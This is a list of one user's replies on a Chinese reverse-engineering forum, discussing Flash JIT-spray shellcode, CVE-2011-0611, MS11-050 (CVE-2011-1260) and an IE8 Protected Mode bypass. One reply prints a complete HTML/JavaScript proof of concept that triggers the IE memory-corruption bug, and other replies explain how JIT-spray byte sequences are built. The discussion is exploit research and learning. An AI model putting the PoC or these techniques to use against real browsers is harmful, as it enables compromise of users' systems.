|
[原创]cve-2011-0611 初探
写得不错~~ 只不过分析用的pdf跟链接中的pdf貌似不一样。。。。。lz把分析用的pdf上传一下吧 |
|
[求助+讨论]jit spray的一个实例的疑惑
汗,确实是这样的。。。。。 swf文件还能这样加载。。。。被绕进去了~~ |
|
[原创]CVE-2011-0611 分析
学习了~~ lz分析得很好~~ |
|
[求助+讨论]jit spray的一个实例的疑惑
嗯,就是找opcode与asm的对应关系与对应过程。 |
|
[原创]Writing JIT-Spray Shellcode for fun and profit - CHS[更新完整版]
爲了在shellcode中使用JNE、JE或者其他一些同类跳转,我们必须保证Z标志位的安全。但是为了屏蔽合法的异或字符,我们使用了0x3C,也就是CMP, AL指令。这会改变Z标志位,破坏流程。为了屏蔽CMP、CMPS和其他操作符,我们使用了3个字节。 最后一句翻译是错的。原文是:For making CMP, CMPS and others we use 3 bytes. 我想译者将making 误作了 masking。 这里的cmp、cmps或者其他操作符等指的是shellcode中(就是我们常写的普通的shellcode,里面不用3c 35这样的指令来跳过xor)的指令,如果在shellcode中的cmp指令后再用cmp al,35来屏蔽代表异或的35,那么原来shellcode中的cmp指令就失去作用了,因此改用push 35来屏蔽35. |
|
[求助+讨论]jit spray的一个实例的疑惑
嗯~~ 就是要找的这个关系~~ 这个我没找到什么文档,Adobe关于AVM字节码的,可参看: http://www.adobe.com/content/dam/Adobe/en/devnet/actionscript/articles/avm2overview.pdf |
|
[求助+讨论]jit spray的一个实例的疑惑
应该只是avm的jit解释引擎的缘故,不是shellcode做了手脚~~因为这只是简单的缓冲区溢出覆盖异常地址,它里面设定了一个地址0d220101,而我断在这里时,shellcode本身应该还没执行,只是flash的虚拟机做了一些工作。。。so这个虚拟机到了做了什么工作, 使得那些神奇的writeInt到内存后就变成了90 90 90 3c 35之类? 补充一下,整个swf文件主要有两个函数中存在大量的writeInt,其中一个就是上面贴出来部分,另一个函数大量使用writeInt的整数,我在内存中可以完整找到, _loc_2.writeByte(85); _loc_2.writeInt(120796465); _loc_2.writeInt(120796465); _loc_2.writeInt(1960428761); 比如这个,我就在内存中能找到连续的55 65 64 79 20 01。。。。。。。包括了该函数中在writeInt中所用到的所有整数。 但内存属性为 Read+Write,也就是说,不是90 90 90 3c 35这些指令序列所在的Read+Execute。 |
|
[求助+讨论]jit spray的一个实例的疑惑
嗯,那种通过xor来表现jit spray生成类似90 90 90 3c 35这样的指令序列,我想我还是能够理解的。 见上面的回答。 我的疑惑是对于这个swf文件它是怎么通过writeInt来实现生成90 90 90 3c 35这样的指令序列(内存中已验证过存在)。 或者换句话说,如果让你将一段shellcode改成这种通过writeInt来实现jit spray,又该怎么玩了? |
|
[求助+讨论]jit spray的一个实例的疑惑
这个我查过了,字节码的静态对应关系我还是能够理解的,比如上面的一部分代码的二进制和其伪码表示: //d0 _as3_getlocal <0> //66 02 _as3_getproperty jit_egg //2d 3e _as3_pushint 156456771 //4f 01 01 _as3_callpropvoid writeInt(param count:1) 比如这里的d0就表示getlocal的指令码 我疑惑的是这样一段代码被jit加载后怎么就生成了90 90 90 3c 35这样的指令序列 对于jit spray最初的两篇文献中讲到到的通过异或写攻击代码,我想我还是能够理解的。 它的中间代码是这样的: //2d 01 _as3_pushint 1016107152 //2d 01 _as3_pushint 1016107152 //aa _as3_bitxor //2d 01 _as3_pushint 1016107152 //aa _as3_bitxor //2d 01 _as3_pushint 1016107152 //aa _as3_bitxor 这里的1016107152 就是 3c909090,加载到内存中形成 90 90 90 3c 35 这样的指令序列还是容易理解的,但前面那个压根就没有这样的数据。 如果将一段shellcode改成采用xor的jit spray方式,我想这是不难的~~ 但通过writeInt这个 该怎么玩了, 它那些整数有什么规律么? |
|
[讨论+求助]MS11-050中的CVE-2011-1260
额~~ 太弱了, 到处求助~~ |
|
[求助]IE中.net控件与java applet控件调试问题
按理.net或者java中也是可以用heap spray的方法的,可我附加了相应的几个进程,都没有找到这片内存 |
|
[讨论+求助]MS11-050中的CVE-2011-1260
,.,.,.,.,.,. |
|
[讨论+求助]MS11-050中的CVE-2011-1260
ie6没试过~~ ie7和ie8和ie9应该都是可以的~~ 我就用的就是那两个POC啊 至于你遇到的不能触发问题,我好像一开始也遇到过~~原因未知, 但在我这儿重装IE后貌似就解决了问题~~~~ <html> <body> <script language='javascript'> document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>"; document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>"; document.body.innerHTML += "AAAAAAA"; document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>"; </script> </body> </html> <STYLE> object{ float: left; } </STYLE> <acronym> hggssssssssssssssssssssssssddddddddddddddddddddddddddddddddddddddddddddddaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddd </acronym> <object> head </object> <col> ccc </col> <div style = 'layout-grid-char: 35735636357357354ex;'> aaaaaa </div> |
|
[原创]黑客从艺若干个境界 从小工到宗师
这些人到了大师的水平了?? 我不怀疑他们的水平,不过只能说你这大师的要求也忒低了~~ 估计lz你也看过程序员的10层楼吧~~ 很牛,不过离大师哪是一个数量级的差距啊 |
|
[转帖]转载一些Knuth的八卦
作为fans之一,我也来顶顶帖~~ |
|
[讨论]关于这两年pwn2own上绕过IE8
谢谢你提供的资料~~ 不过从下面的介绍中,我倒觉得不是一个直接的提权漏洞,是ie8保护模式的一个bug吧 关键词: IE加载untrusted的文件 会将进程的完整性级别标识为 Medium 级别,然后就绕过了保护模式,可以读写文件了 所以这里的关键应该是这个untrusted的文件是怎么来的, 自己生成的?? 怎么生成? http://www.zerodayinitiative.com/advisories/ZDI-11-249/ This vulnerability allows remote attackers to escape Protected Mode on vulnerable installations of Internet Explorer. Internet Explorer Protected Mode consists of a Medium Integrity and a Low Integrity process. The Low Integrity process is only allowed to write to special Low Integrity locations. File written there are marked as Low Integrity files. When a new Internet Explorer process is launched it checks the Integrity of the file it is launched against. If the file is a Low Integrity file it will run the process in Low Integrity Mode. It is however possible to give the file an even lower permission: Untrusted, since this does not match the check for 'Low Integrity' the Internet Explorer will run in Medium Integrity instead of Low Integrity. This can be abused in an exploit to bypass the Protected Mode design and thus allow an attacker to escalate their privileges. |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值